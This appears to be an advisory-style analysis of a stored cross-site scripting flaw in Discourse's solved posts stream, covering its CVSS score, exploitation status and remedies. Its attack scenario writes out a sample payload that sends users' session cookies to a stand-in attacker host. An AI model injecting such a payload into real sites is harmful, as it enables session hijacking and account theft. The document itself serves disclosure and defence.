Discourse CVE-2026-33411

The CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N vector indicates network accessibility, low attack complexity, and low privilege requirements (authenticated user), yielding moderate risk with confidentiality and integrity impact limited to a single user's scope. However, this is a stored XSS rather than reflected, meaning the payload persists and affects multiple users who view the malicious topic, significantly increasing real-world impact beyond what CVSS alone suggests. The lack of KEV designation and no reported EPSS data suggest this vulnerability has not yet been actively exploited in the wild or added to known exploited vulnerabilities lists, indicating lower immediate threat. Remediation is straightforward through version updates (patches are available), and the workaround (enforcing Content Security Policy) provides defense-in-depth without requiring immediate patching. From an SSVC perspective, this is automatable if a user can be tricked into clicking a link to a solved topic with a malicious title, but technical impact is limited to session hijacking or credential theft, not system compromise.

An authenticated attacker with topic creation privileges crafts a new topic with a title containing a stored XSS payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">' and marks it as solved. When other authenticated users browse the solved posts stream, their browsers execute the injected JavaScript, exfiltrating session cookies or performing actions on their behalf. Since the attack vector is network-based with low complexity and does not require out-of-band user action beyond normal platform usage (viewing the solved posts stream), any user with forum access viewing the topic becomes a victim, making this a high-impact vulnerability despite the moderate CVSS score.